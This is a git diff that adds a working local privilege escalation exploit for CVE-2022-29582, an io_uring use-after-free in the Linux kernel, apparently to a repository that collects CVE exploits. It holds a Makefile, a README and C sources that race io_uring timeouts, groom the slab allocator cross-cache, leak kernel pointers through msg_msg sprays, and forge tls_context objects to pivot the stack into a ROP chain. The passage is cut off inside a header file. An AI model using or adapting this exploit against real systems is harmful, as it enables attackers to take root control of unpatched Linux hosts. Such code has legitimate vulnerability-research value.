diff --git a/.gitmodules b/.gitmodules index 6ee874bacd796709de4669d922887a302dbfaba8..fd2a09096cfc533079d8ee53ff245a7ebbb10946 100644 --- a/.gitmodules +++ b/.gitmodules @@ -8,3 +8,6 @@ [submodule "cve/apache-Shiro/2022/CVE-2022-32532"] path = cve/apache-Shiro/2022/CVE-2022-32532 url = https://github.com/Lay0us1/CVE-2022-32532 +[submodule "cve/linux-kernel/2022/CVE-2022-29582/liburing"] + path = cve/linux-kernel/2022/CVE-2022-29582/liburing + url = http://github.com/axboe/liburing.git diff --git a/cve/linux-kernel/2022/CVE-2022-29582/Makefile b/cve/linux-kernel/2022/CVE-2022-29582/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..95fd64fa914b7558b1e90517ef6b0af30c1e69e7 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/Makefile @@ -0,0 +1,13 @@ + +all: + mkdir -p bin/ + gcc -g -o bin/exp \ + ./liburing/test/helpers.c \ + -I./liburing/src/include/ \ + -w -O2 ./liburing/src/liburing.a \ + cross_cache.c msg.c manager.c tls.c main.c \ + -static -lrt -lpthread -luring \ + -Wl,--whole-archive -Wl,--no-whole-archive + +clean: + rm -r bin diff --git a/cve/linux-kernel/2022/CVE-2022-29582/README.md b/cve/linux-kernel/2022/CVE-2022-29582/README.md new file mode 100644 index 0000000000000000000000000000000000000000..b23a22c2aa256ed63af012f7aef1ac3319c05af2 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/README.md @@ -0,0 +1,19 @@ +# CVE-2022-29582 +This repository contains exploit code for CVE-2022-29582, a Local Privilege Escalation in `io_uring` (of the Linux kernel). + +Default configurations are affected and no special privileges should be needed. + +You can find the writeup at [https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/](https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/) + +## Building +Running + +```bash +make +``` + +should result in a shiny new executable - or just use the pre-commited one :) + +## Testing +First, check the writeup for the (micro)arch specs. Then run the given kernel: vmlinuz-5.10.90. +The exploit (particularly now the ROP chain) should work fine with the kCTF setup. diff --git a/cve/linux-kernel/2022/CVE-2022-29582/affinity.h b/cve/linux-kernel/2022/CVE-2022-29582/affinity.h new file mode 100644 index 0000000000000000000000000000000000000000..5f1098d706829cac49c231bf5b80a2d4b29c49f7 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/affinity.h @@ -0,0 +1,8 @@ +#define _GNU_SOURCE +#include + +void pin_cpu(int cpu) { + cpu_set_t cpuset = {0}; + CPU_SET(cpu, &cpuset); + sched_setaffinity(0, sizeof(cpuset), &cpuset); +} diff --git a/cve/linux-kernel/2022/CVE-2022-29582/cross_cache.c b/cve/linux-kernel/2022/CVE-2022-29582/cross_cache.c new file mode 100644 index 0000000000000000000000000000000000000000..e38429ae0a2d12a2a07135426b204a582a231081 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/cross_cache.c @@ -0,0 +1,159 @@ +#include "cross_cache.h" + +static inline int64_t cc_allocate(struct cross_cache *cc, + uint32_t to_alloc, + int64_t *object_refs) +{ + int64_t register ret = 0; + + for (uint32_t i = 0; i < to_alloc; i++) { + ret = cc->allocate(); + IF_ERR(ret) { + perror("cc_allocate:cc->allocate"); + return ERR; + } + object_refs[i] = ret; + } + + return SUCC; +} + +static inline int64_t cc_free(struct cross_cache *cc, + uint32_t to_free, + int64_t *object_refs, + uint32_t per_page) +{ + for (uint32_t i = 0; i < to_free; i++) { + if (per_page && i % (per_page - 1)) { + continue; + } + IF_ERR(object_refs[i]) + continue; + IF_ERR(cc->free(object_refs[i])) { + perror("cc_free:cc->free"); + return ERR; + } + object_refs[i] = ERR; + } + return SUCC; +} + +static inline int64_t alloc_percpu_partial_list(struct cross_cache *cc) +{ + /* Allocate as much as the percpu partial list can hold. + Later we'll place each page here onto the percpu partial list + which will be filled up. For now, prepare the allocations. */ + uint32_t to_alloc = (cc->objs_per_slab * (1 + cc->cpu_partial)) * 2; + int64_t err = cc_allocate(cc, to_alloc, cc->object_refs); + cc->prev_count += to_alloc; + return err; +} + +static inline int64_t alloc_onto_victim_page(struct cross_cache *cc) +{ + /* Allocate onto a new CPU active-slab which will become + our victim page, promoting an object UAF to a page UAF. */ + uint32_t to_alloc = (cc->objs_per_slab + 1); + int64_t err = cc_allocate(cc, to_alloc, cc->object_refs + cc->prev_count); + cc->prev_count += to_alloc; + return err; +} + +static inline int64_t alloc_rem_victim_page(struct cross_cache *cc) +{ + /* After we've allocated the victim object, allocate + the remainder of the victim page to prevent noise. */ + uint32_t to_alloc = (cc->objs_per_slab + 1); + int64_t err = cc_allocate(cc, to_alloc, cc->object_refs + cc->prev_count); + return err; +} + +static inline int64_t free_excess_victim_objs(struct cross_cache *cc) +{ + /* Free all allocations made in: + - alloc_onto_victim_page() + - alloc_rem_victim_page() */ + uint32_t to_free = (cc->objs_per_slab + 1) * 2; + int64_t err = cc_free(cc, to_free, cc->object_refs, 0); + cc->prev_count = to_free; + return err; +} + +static inline int64_t free_partial_list_allocs(struct cross_cache *cc) +{ + /* Free one allocation per-page from: + - alloc_percpu_partial_list() + After this, we have a dangling page ref. */ + uint32_t to_free = (cc->objs_per_slab * (1 + cc->cpu_partial)) * 2; + int64_t err = cc_free(cc, to_free, cc->object_refs + cc->prev_count, cc->objs_per_page); + return err; +} + +static inline int64_t free_all(struct cross_cache *cc) +{ + return cc_free(cc, cc->n_objects, cc->object_refs, 0); +} + +int64_t cc_next(struct cross_cache *cc) +{ + switch (cc->phase++) { + case PHASE_0: + return alloc_percpu_partial_list(cc); + case PHASE_1: + return alloc_onto_victim_page(cc); + case PHASE_2: + return alloc_rem_victim_page(cc); + case PHASE_3: + return free_excess_victim_objs(cc); + case PHASE_4: + return free_partial_list_allocs(cc); + case PHASE_CLEAN: + return free_all(cc); + default: + return ERR; + } +} + +void deinit_cross_cache(struct cross_cache* cc) +{ + free(cc->object_refs); + free(cc); +} + +struct cross_cache* init_cross_cache(void *allocate_fptr, + void *free_fptr, + uint32_t objs_per_slab, + uint32_t cpu_partial, + uint32_t objs_per_page) +{ + struct cross_cache *cc = malloc(sizeof(struct cross_cache)); + IF_ERR_PTR(cc) { + perror("init_cross_cache:malloc\n"); + return ERR_PTR; + } + /* Initialise the cross-cache object */ + cc->allocate = allocate_fptr; + cc->free = free_fptr; + cc->objs_per_slab = objs_per_slab; + cc->cpu_partial = cpu_partial; + cc->objs_per_page = objs_per_page; + + /* How many objects we will end up using during the cross-cache, + * NOT including the victim object(s) which should be included in + * calculations by the object-specific code from the client. + * */ + uint32_t n_objects = + (2 * (objs_per_slab * (1 + cpu_partial))) + + ((objs_per_slab + 1) * 2); + cc->n_objects = n_objects; + + cc->object_refs = malloc(sizeof(intptr_t) * n_objects); + IF_ERR_PTR(cc->object_refs) { + perror("init_cross_cache:malloc\n"); + free(cc); + return ERR_PTR; + } + memset(cc->object_refs, -1, sizeof(intptr_t) * n_objects); + + return cc; +} diff --git a/cve/linux-kernel/2022/CVE-2022-29582/cross_cache.h b/cve/linux-kernel/2022/CVE-2022-29582/cross_cache.h new file mode 100644 index 0000000000000000000000000000000000000000..4aa255525c2d6ac500e7864815fb6defe45e597c --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/cross_cache.h @@ -0,0 +1,35 @@ +#include +#include +#include +#include "err_state.h" + +enum { + PHASE_0, + PHASE_1, + PHASE_2, + PHASE_3, + PHASE_4, + PHASE_CLEAN +}; + +struct cross_cache { + uint32_t objs_per_page; + uint32_t cpu_partial; + uint32_t objs_per_slab; + int64_t *object_refs; + uint32_t n_objects; + uint8_t phase; + uint32_t prev_count; + int (*allocate)(); + int (*free)(int64_t); +}; + +struct cross_cache* init_cross_cache(void *allocate_fptr, + void *free_fptr, + uint32_t objs_per_slab, + uint32_t cpu_partial, + uint32_t objs_per_page); +void deinit_cross_cache(struct cross_cache* cc); +int64_t cc_next(struct cross_cache *cc); + + diff --git a/cve/linux-kernel/2022/CVE-2022-29582/err_state.h b/cve/linux-kernel/2022/CVE-2022-29582/err_state.h new file mode 100644 index 0000000000000000000000000000000000000000..5deec4cb429c794d6fa23beb4650f3c61da1d0f9 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/err_state.h @@ -0,0 +1,47 @@ +#ifndef ERR_STATE_H +#define ERR_STATE_H + +#define SUCC (0) +#define ERR (-1) +#define ERR_PTR (NULL) +#define ERR_UNFIN(i) ((i > 0) ? i : ERR) + +#define IS_ERR(i) (i == -1) +#define IS_ERR_PTR(i) (i == NULL) + +#define IF_ERR(i) \ + if (IS_ERR(i)) \ + +#define IF_ERR_PTR(i) \ + if (IS_ERR_PTR(i)) \ + +#define IF_ERR_BREAK(i) \ + IF_ERR(i) { \ + break; \ + } + +#define IF_ERR_PTR_BREAK(i) \ + IF_ERR_PTR(i) { \ + break; \ + } + +#define IF_ERR_RET(i) \ + IF_ERR(i) { \ + return ERR; \ + } + +#define IF_ERR_PTR_RET(i) \ + IF_ERR_PTR(i) { \ + return ERR; \ + } + +static inline int XCHNG_FD(int i, int j) { + int x = j; j = i; return x; +} + +/* When this is the return type it means that + * the return value encodes only success/failure. + * Contrary to encoding data or reference to data. */ +typedef int err_t; + +#endif // ERR_STATE_H diff --git a/cve/linux-kernel/2022/CVE-2022-29582/liburing b/cve/linux-kernel/2022/CVE-2022-29582/liburing new file mode 160000 index 0000000000000000000000000000000000000000..31b23c886f20702cd0744bfee4f32b9e249abe3c --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/liburing @@ -0,0 +1 @@ +Subproject commit 31b23c886f20702cd0744bfee4f32b9e249abe3c diff --git a/cve/linux-kernel/2022/CVE-2022-29582/main.c b/cve/linux-kernel/2022/CVE-2022-29582/main.c new file mode 100644 index 0000000000000000000000000000000000000000..2ff9f58c35a31582e627df804a64645da94191c1 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/main.c @@ -0,0 +1,490 @@ +#define _GNU_SOURCE +#include "err_state.h" +#include "rop.h" +#include "ring_helpers.h" +#include "affinity.h" +#include "manager.h" +#include + + +static inline err_t submit_timeouts(struct manager *mgr) +{ + struct timespec timeout_ts = {0}, link_ts = {0}; + + /* Never fire - practically infinite time */ + timeout_ts.tv_sec = INF_TIME; + + for (int i = 0; i < N_TIMEOUT_OBJS; i++) { + /* Scale the timeout for the link to + * stagger the race slightly. */ + link_ts.tv_nsec = TIMEOUT + (i * TIMEOUT_SCALE); + + /* Setup the timeout submission queue entry (SQE). + * This will retain a dangling reference to the link + * request if the (initial) race is won. */ + init_timeout_sqe(&mgr->uaf_ring, &timeout_ts); + + /* Setup the link SQE. This directs the kernel + * to construct our UAF request object from which + * we will induce the file UAF. */ + init_link_sqe(&mgr->uaf_ring, &link_ts); + + /* Submit the two SQEs for this iteration. */ + IF_ERR(io_uring_submit(&mgr->uaf_ring)) { + perror("submit_timeouts:io_uring_submit"); + return ERR; + } + } + return SUCC; +} + +static inline err_t submit_tee(struct manager *mgr, int32_t index) +{ +#define TAG (1330) + register int in = 0, out = 0; + struct io_uring_sqe* sqe_tee = NULL; + + sqe_tee = io_uring_get_sqe(&mgr->tee_ring); + if (sqe_tee == NULL) { + perror("submit_tee:io_uring_get_sqe"); + return ERR; + } + + in = mgr->pipes_in[index][RD]; + out = mgr->pipes_out[index][WR]; + if (IS_ERR(in) || IS_ERR(out)) { + perror("submit_tee:fd=-1"); + return ERR; + } + + io_uring_prep_tee(sqe_tee, in, out, 3, 0); + sqe_tee->user_data = index + TAG; + + IF_ERR(io_uring_submit(&mgr->tee_ring)) { + perror("submit_tee:io_uring_submit"); + return ERR; + } + return SUCC; +} + +void uaf_catch(void *arg) +{ + struct manager *mgr = (struct manager *)arg; + IF_ERR_PTR(mgr) return; + + IF_ERR(set_condition(&mgr->uaf_mutex, + &mgr->uaf_cond, + &mgr->threads_go)) { + return; + } + /* Delay for some offset from the TIMEOUT + * used in the link_timeout request. */ + struct timespec ts = {0}; + ts.tv_nsec = TIMEOUT + mgr->sleep_before_tee; + nanosleep(&ts, NULL); + + for (int i = 0; i < N_TIMEOUT_OBJS; i++) { + submit_tee(mgr, i); + } +} + +void uaf_trigger(void *arg) +{ + struct manager *mgr = (struct manager *)arg; + IF_ERR_PTR(mgr) + return; + /* We wait here to start the race. Hopefully, + * synchronise trigger and catch threads. */ + IF_ERR(wait_condition(&mgr->uaf_mutex, + &mgr->uaf_cond, + &mgr->threads_go)) { + return; + } + + /* Submit timeout and link timeout requests. */ + IF_ERR(submit_timeouts(mgr)) + return; +} + +static inline err_t close_other_pipes(struct manager *mgr, int32_t *hits) +{ + int skip = 0; + for (int i = 0; i < N_PIPES; i++) { + + for (int j = 0; j < hits[N_PIPES]; j++) { + if (hits[j] == i) { + skip = 1; + } + } + if (skip) { + skip = 0; + continue; + } + write(mgr->pipes_in[i][1], "AAA", 3); + write(mgr->pipes_out[i][1], "AAA", 3); + close(mgr->pipes_in[i][0]); + close(mgr->pipes_out[i][0]); + close(mgr->pipes_in[i][1]); + close(mgr->pipes_out[i][1]); + } +} + +static inline err_t create_file_uaf(struct manager *mgr, int32_t *hits) +{ + cc_next(mgr->cc); + cc_next(mgr->cc); + cc_next(mgr->cc); + + for (int i = 0; i < hits[N_PIPES]; i++) { + + int p_idx = hits[i]; + int in = mgr->pipes_in[p_idx][WR]; + int out = mgr->pipes_out[p_idx][WR]; + + write(in, "AAA", 3); + write(out, "AAA", 3); + } + + usleep(200000); + + for (int i = 0; i < hits[N_PIPES]; i++) { + int p_idx = hits[i]; + int in = mgr->pipes_in[p_idx][WR]; + close(in); + } + return SUCC; +} + +static inline err_t reallocate_filp_page(struct manager *mgr) +{ + IF_ERR_RET(spray_msg(mgr->msq_ids, TOTAL_MSGS, mgr->spray, MSG_SIZE)) + memset((char *)mgr->spray, 0x00, MSG_SIZE); + return SUCC; +} + +static inline err_t double_free_file(struct manager *mgr, int32_t *hits) +{ + for (int i = 0; i < hits[N_PIPES]; i++) { + int p_idx = hits[i]; + int in = mgr->pipes_in[p_idx][RD]; + close(in); + } + return SUCC; +} + +static inline err_t prepare_tls_overwrite(struct manager *mgr) +{ +#define KHEAP_PTR_OFF (200) +#define RO_PTR_OFF (224) +#define LIST_OFF (0x98) +#define BASE_OFF (0x180b660) + /* Extract pointers and wipe the data, ready for spray. */ + char *leak = (char *)mgr->leak + 4000; + uint64_t tls_context = *(uint64_t*)&leak[KHEAP_PTR_OFF] - LIST_OFF; + uint64_t kernel_base = *(uint64_t*)&leak[RO_PTR_OFF] - BASE_OFF; + printf("[+] Current tls_context @ %lx\n", tls_context); + printf("[+] Kernel base @ %lx\n", kernel_base); + memset((char *)mgr->leak, 0, MSG_SIZE); + +#define GETSOCKOPT_OFF (40) +#define SK_PROTO_OFF (136) + /* Prepare sk_proto overwrite, getsockopt() overwrite, + * stack pivot, and ROP chain contents. */ + char *spray = (char *)mgr->spray; + prepare_rop(&spray[8], kernel_base); + *(uint64_t*)&spray[GETSOCKOPT_OFF] = kernel_base + STACK_PIVOT_OFF;; + *(uint64_t*)&spray[SK_PROTO_OFF] = tls_context; + + /* new_stack is a global from rop.h + * This is what we'll restore our SP + * to when we return from KM. */ + new_stack = mmap(NULL, 0x4000, + PROT_READ | PROT_WRITE, + MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); + if (new_stack == MAP_FAILED) { + perror("run_machine:mmap"); + return ERR; + } + new_stack += 0x3ff0; + + return SUCC; +} + +static inline err_t overwrite_tls(struct manager *mgr) +{ + struct msgbuf* msg = (struct msgbuf*)mgr->spray; + for (int i = 0; i < 20; i++) { + msg->mtype = i + 100; + if (msgsnd(mgr->msq_ids[i], msg, 257, 0) < 0) { + perror("msgsnd"); + } + } + return SUCC; +} + +static inline void print_leak(char *leak) +{ +#define TO_LEAK (48) +#define PER_LINE (4) + printf("[+] Printing out the kernel leak.\n"); + uint64_t *ptr = (uint64_t *)(leak + 4000); + for (int i = 0; i < TO_LEAK; i++) { + printf("0x%016lx ", ptr[i]); + if ((i + 1) % PER_LINE == 0) { + printf("\n"); + } + } + printf("\n"); +} + +static inline err_t leak_tls_contexts(struct manager *mgr) +{ + char *leak = (char *)mgr->leak; + uint64_t *store = mgr->msq_ids; + IF_ERR_RET(leak_msg(DEAD_LIST_PATTERN, store, TOTAL_MSGS, leak, MSG_SIZE)) + print_leak(leak); + return SUCC; +} + +static inline err_t spray_tls_contexts(struct manager *mgr, uint8_t exp) +{ +#define BEFORE_LEAK (0) +#define AFTER_LEAK (1) + switch(exp) { + case BEFORE_LEAK: + /* Before the leak occurs we spray + * "real" tls_context objects to overwrite + * some msg segment on the heap. */ + upgrade_tls_socks(); + break; + case AFTER_LEAK: + /* After the leak, we spray "fake" + * tls_context objects to initialise + * our stack pivot and ROP chain. */ + prepare_tls_overwrite(mgr); + overwrite_tls(mgr); + break; + default: + return ERR; + } + return SUCC; +} + +err_t init_machine(struct manager *mgr, int32_t *hits) +{ + /* Close the pipes which we determined are not + * UAF candidates. If we don't do this then + * we might leave the victim page non-empty. */ + printf("[.] Closing non-candidate pipes.\n"); + IF_ERR_RET(close_other_pipes(mgr, hits)) + usleep(10000); + + printf("[.] Creating file use-after-free.\n"); + IF_ERR_RET(create_file_uaf(mgr, hits)) + + printf("[.] Reallocating filp page with cross-cache.\n"); + IF_ERR_RET(reallocate_filp_page(mgr)) + usleep(10000); + + printf("[.] Freeing file again for a msg_msgseg use-after-free.\n"); + IF_ERR_RET(double_free_file(mgr, hits)) + + printf("[.] Spraying tls_context objects for a leak.\n"); + IF_ERR_RET(spray_tls_contexts(mgr, BEFORE_LEAK)) + + printf("[.] Leaking tls_context object.\n"); + IF_ERR_RET(leak_tls_contexts(mgr)) + + printf("[.] Spraying forged tls_context objects with msg_msgseg.\n"); + IF_ERR_RET(spray_tls_contexts(mgr, AFTER_LEAK)) + + return SUCC; +} + +err_t run_machine(struct manager *mgr) +{ + char *spray = mgr->spray; + uint64_t tls_context = *(uint64_t*)&spray[SK_PROTO_OFF]; + uint64_t pivot_stack = tls_context + 0x20; + + /* Transfer control inside child task */ + if (!fork()) { + /* Hopefully run along the ROP chain */ + puts("[+] Calling getsockopt() to trigger execution."); + getsockopt_all_tls(0x41414141, 0x42424242, + pivot_stack, 0x8181818181818181); + } + /* Busyloop to prevent exit. */ + for (;;); + __builtin_unreachable(); +} + +void uaf_wait_cqe(void *arg) +{ + struct manager *mgr = (struct manager *) arg; + IF_ERR_PTR(mgr) + return; + + /* If we get any good CQEs back then we'll store the pipe index + * in hits[]. Note that `hits[N_PIPES] will be set to hit_count */ + uint8_t hit_count = 0; + int32_t hits[N_PIPES + 1] = {0}; + + struct io_uring_cqe *cqe = NULL; + for (int i = 0; i < N_WAIT_CQES; i++) { + /* Block in here until we get another CQE. */ + IF_ERR(io_uring_wait_cqe(&mgr->tee_ring, &cqe)) { + perror("uaf_wait_cqe:io_uring_wait_cqe\n"); + return; + } + + IF_ERR_PTR(cqe) { + perror("uaf_wait_cqe:cqe=NULL"); + break; + } + + /* A completion event matching the criteria for a candidate + * of the UAF has been posted. So store its adjusted user_data. */ + if (cqe->res) { + hits[hit_count++] = (int32_t)cqe->user_data - TAG; + } + io_uring_cqe_seen(&mgr->tee_ring, cqe); + } + + if (hit_count) { + printf("[+] Successfully won the race, attempting file cross-cache.\n"); + hits[N_PIPES] = hit_count; + + IF_ERR(init_machine(mgr, &hits)) { + printf("[-] Trying again :/"); + return; + } + IF_ERR(run_machine(mgr)) { + return; + } + + } else { + printf("[-] Failed to reallocate the UAF object in the race window\n"); + } +} + +err_t race_threads(struct manager *mgr) +{ + /* We detect the completion events (CQE) in our uaf_wait_cqe() thread. If any CQEs + * have a non-zero result value, then we know we've won and we can enter the + * second stage. This then induces a file UAF and reallocates the filp_cache page. + * More on this later. + * */ + IF_ERR(start_threads(mgr, &mgr->wait_cqe_th, uaf_wait_cqe, N_WAIT_TH)) { + perror("race_threads:start_threads:uaf_wait_cqe"); + return ERR; + } + + /* Technically there's two races to win. The first is the race to a basic UAF. + * The second is the race to have reallocated the UAF object as a request + * with opcode of type IORING_OP_TEE. Of the two, it's easier to win the first. + * */ + IF_ERR(start_threads(mgr, &mgr->trigger_th, uaf_trigger, N_TRIGGER_TH)) { + printf("race_threads:start_threads:uaf_trigger"); + return ERR; + } + + /* But it's basically useless on its own. So we need to use another thread + * (with entrypoint uaf_catch) to "catch" the request before the kernel + * reaches a certain block of code inside fs/io_uring.c::io_kill_linked_timeout(). + * + * Without catching the request before the aforementioned code block, the kernel + * raises a refcount underflow warning and no interesting state can be reached. + * */ + IF_ERR(start_threads(mgr, &mgr->catch_th, uaf_catch, N_CATCH_TH)) { + printf("race_threads:start_threads:uaf_wait_catch"); + return ERR; + } + + IF_ERR(wait_threads(&mgr->trigger_th, N_TRIGGER_TH)) { + printf("race_threads:wait_threads:uaf_trigger"); + return ERR; + } + + /* Wait for the aforementioned threads to complete. */ + IF_ERR(wait_threads(&mgr->catch_th, N_CATCH_TH)) { + printf("race_threads:wait_threads:uaf_catch"); + return ERR; + } + + usleep(200000); + /* Just in case we didn't succeed in getting any CQEs + * we just unblock the thread with NOP requests. */ + IF_ERR(force_unblock_wait_cqe(&mgr->tee_ring, N_WAIT_CQES)) { + printf("race_threads:force_unblock_wait_cqe"); + } + + IF_ERR(wait_threads(&mgr->wait_cqe_th, N_WAIT_TH)) { + printf("race_threads:wait_threads:wait_cqe_th"); + return ERR; + } + return SUCC; +} + +int main(void) +{ + /* Pin our task to cpu 0 to avoid being rescheduled to another CPU. + * This is because each slab cache manages per-cpu object freelists. + * */ + pin_cpu(0); + + /* In new_session we setup: + * 1) Objects which track our page-allocator controls. + * 2) The TLS socket server and to-be-TLS sockets. + * Later we leak and overwrite a struct tls_context. + * 3) The io_uring rings (one to trigger, one to catch). + * 4) The pipes we have as UAF candidates. + * 5) Cross cache management object. + * */ + struct manager *mgr = new_session(); + IF_ERR_PTR(mgr) + goto out; + + /* + * Enter the main loop to retry the race until it's won. + * */ + for (;;) { + /* Allocate the "out" pipes which we don't want to + * land on any of the potential victim pages. */ + open_pipes(mgr, 0); + + /* Initialise the cross_cache attack to allocate as + * many file objects as the percpu partial list can + * hold and drive filp cache to set a new cpu0 "active slab". */ + cc_next(mgr->cc); + cc_next(mgr->cc); + + /* Allocate the candidate victim objects on the victim page. + * This page is probably the aforementioned "active slab". */ + open_pipes(mgr, 1); + + /* Setup a thread which detects the UAF candidates. + * And thread which trigger and catch the UAF on + * targeted io_kiocb objects. */ + IF_ERR(race_threads(mgr)) { + printf("main:race_threads"); + break; + } + + usleep(200000); + + /* Perform cleanup. If we're here it means we failed to win + * the race or to reallocate the page correctly. Let's try + * this all over again! */ + IF_ERR(refresh_session(mgr)) { + printf("main:refresh_session"); + break; + } + } + + /* Close down the manager and the TLS socket server. */ + end_session(mgr); +out: + printf("Exiting now\n"); + return ERR; +} diff --git a/cve/linux-kernel/2022/CVE-2022-29582/manager.c b/cve/linux-kernel/2022/CVE-2022-29582/manager.c new file mode 100644 index 0000000000000000000000000000000000000000..4e32c704bef1191ae3bad0963294df8ad2345ecb --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/manager.c @@ -0,0 +1,249 @@ +#include "manager.h" +#include +/* + * + * Internal functions + * + * */ +static inline void cls() +{ + printf("\e[1;1H\e[2J"); +} + +static inline err_t init_thread_sync(struct manager *mgr) +{ + pthread_cond_init(&mgr->uaf_cond, NULL); + pthread_mutex_init(&mgr->uaf_mutex, NULL); + mgr->threads_go = 0; + + if(mgr->sleep_before_tee > 13000) + mgr->sleep_before_tee = 10000; + else + mgr->sleep_before_tee += 40; + + return SUCC; +} + +static inline err_t deinit_thread_sync(struct manager *mgr) +{ + pthread_cond_destroy(&mgr->uaf_cond); + pthread_mutex_destroy(&mgr->uaf_mutex); + mgr->threads_go = 0; + return SUCC; +} + +static inline err_t init_msg_queue(struct manager *mgr) +{ + IF_ERR_RET(pre_spray_msg(mgr->msq_ids, TOTAL_MSGS)) + return SUCC; +} + +static inline void set_file_spray_data(struct manager* mgr) +{ + /* Construct a fuzzy file object */ +#define F_OP_OFF (88) +#define REF_OFF (128) +#define F_MODE_OFF (140) +#define MSGSEG_OFF (4000) + + memset((char *)mgr->spray, 0, MSG_SIZE); + + char *file_contents = (char *) mgr->spray + MSGSEG_OFF; + uint8_t *f_op = file_contents + F_OP_OFF; + uint8_t *refcount = file_contents + REF_OFF; + uint8_t *f_mode = file_contents + F_MODE_OFF; + + *(uint64_t *) f_op = NULL_MEM; + *(uint64_t *) refcount = 1; + *(uint64_t *) f_mode = 0x4000; +} + +static inline void set_err_state(struct manager* mgr) +{ + /* ERR == -1 signifies that a field is in an uninitialised state. + * It's particularly useful for handling looped close/open. + * Since we can break out of the loop when we see ERR. */ + memset(mgr->msq_ids, ERR, sizeof(mgr->msq_ids)); + memset(mgr->pipes_in, ERR, sizeof(mgr->pipes_in)); + memset(mgr->pipes_out, ERR, sizeof(mgr->pipes_in)); +} + +static int32_t open_file() +{ +#define TEMP_PATH ("/tmp/fileXXXXXX") + char template[] = TEMP_PATH; + int fd = mkstemp(template); + IF_ERR(fd) { + perror("open_file:mkstemp"); + return ERR; + } + unlink(template); + + return fd; +} + +static void remove_file(int32_t fd) +{ + close(fd); +} + +static void deinit_manager(struct manager *mgr) +{ + deinit_thread_sync(mgr); + io_uring_queue_exit(&mgr->tee_ring); + io_uring_queue_exit(&mgr->uaf_ring); + + deinit_cross_cache(mgr->cc); +} + +err_t init_manager(struct manager *mgr, uint8_t new) +{ + /* If this the first iteration of the race loop + * then we'll want to create the msg queues. + * Otherwise, avoid wasting space. */ + if (new) { + /* Initialise all data in mgr to ERR. */ + set_err_state(mgr); + /* Set the initial sleep. */ + mgr->sleep_before_tee = 10600; + /* Setup the msg queue, only once per startup. */ + IF_ERR(init_msg_queue(mgr)) { + goto err_msg_queue; + } + } + /* Set the data which we will overwrite a file. */ + set_file_spray_data(mgr); + + /* Init the two rings which we trigger the UAF on. */ + IF_ERR(init_ring(&mgr->uaf_ring)) + goto err_uaf_ring; + IF_ERR(init_ring(&mgr->tee_ring)) + goto err_tee_ring; + /* Init the cond. variable and mutex for the threads. */ + IF_ERR(init_thread_sync(mgr)) + goto err_thread; + + /* Init the cross cache management structure and store. */ + mgr->cc = init_cross_cache(open_file, + remove_file, + OBJS_PER_SLAB, + CPU_PARTIAL, + OBJS_PER_PAGE); + IF_ERR_PTR(mgr->cc) + goto err_cc; + + return SUCC; + +err_cc: +err_thread: + io_uring_queue_exit(&mgr->tee_ring); +err_tee_ring: + io_uring_queue_exit(&mgr->uaf_ring); +err_uaf_ring: +err_msg_queue: + return ERR; +} + +/* + * + * API functions + * + * */ +err_t open_pipes(struct manager *mgr, int in) +{ + for (int i = 0; i < N_PIPES; i++) { + int p_fd[2] = {0}; + IF_ERR(pipe(p_fd)) { + perror("open_pipes:pipe"); + return ERR; + } + if (in) { + mgr->pipes_in[i][RD] = p_fd[RD]; + mgr->pipes_in[i][WR] = p_fd[WR]; + } else { + mgr->pipes_out[i][RD] = p_fd[RD]; + mgr->pipes_out[i][WR] = p_fd[WR]; + } + } + return SUCC; +} + +err_t start_threads(struct manager *mgr, pthread_t *ths, + void *fptr, uint32_t num) +{ + for (int i = 0; i < num; i++) { + if (pthread_create(&ths[i], NULL, fptr, mgr)) + return ERR; + } + return SUCC; +} + +err_t wait_threads(pthread_t *ths, uint32_t num) +{ + for (int i = 0; i < num; i++) { + pthread_join(ths[i], NULL); + } + return SUCC; +} + +err_t wait_condition(pthread_mutex_t *mutex, + pthread_cond_t *cond, bool *boolean) +{ + pthread_mutex_lock(mutex); + while (*boolean == 0) { + pthread_cond_wait(cond, mutex); + } + pthread_mutex_unlock(mutex); + + return SUCC; +} + +err_t set_condition(pthread_mutex_t *mutex, + pthread_cond_t *cond, bool *boolean) +{ + pthread_mutex_lock(mutex); + *boolean = 1; + pthread_cond_broadcast(cond); + pthread_mutex_unlock(mutex); + + return SUCC; +} + +struct manager* new_session() +{ + struct manager *mgr = calloc(1, sizeof(struct manager)); + IF_ERR_PTR(mgr) { + perror("new_session:calloc"); + return ERR_PTR; + } +#define REFRESH (0) +#define NEW (1) + IF_ERR(init_manager(mgr, NEW)) + goto err_mgr; + IF_ERR(new_tls_session()) + goto err_mgr; + + return mgr; + +err_mgr: + deinit_manager(mgr); + free(mgr); + return ERR_PTR; +} + +err_t refresh_session(struct manager *mgr) +{ + //printf("\e[1;1H\e[2J"); + + deinit_manager(mgr); + IF_ERR_RET(init_manager(mgr, REFRESH)) + close_range(2, ~0, 0); + return SUCC; +} + +void end_session(struct manager *mgr) +{ + end_tls_session(); + deinit_manager(mgr); + free(mgr); +} diff --git a/cve/linux-kernel/2022/CVE-2022-29582/manager.h b/cve/linux-kernel/2022/CVE-2022-29582/manager.h new file mode 100644 index 0000000000000000000000000000000000000000..a1656d10bce83538ad1ffde34277c3f2eff5e789 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-29582/manager.h @@ -0,0 +1,109 @@ +#ifndef MGR_H +#define MGR_H + +#include +#include +#include +#include +#include +#include + +#include "err_state.h" +#include "cross_cache.h" +#include "msg.h" +#include "tls.h" + +/* Page allocator constants. */ +#define OBJS_PER_SLAB (25) +#define CPU_PARTIAL (13) +#define OBJS_PER_PAGE (25) // TO DO GET OBJS PER PAGE +#define PAGE_OFF (6) + +/* We write this pointer to file->f_op so that f_op->flush == NULL. + * This address and its contents are invariant across boots. */ +#define NULL_MEM (0xfffffe0000002000) +#define DEAD_LIST_PATTERN (0xdead4ead00000000) +#define INF_TIME (ULONG_MAX) + +/* How many timeout, link_timeout objects to create 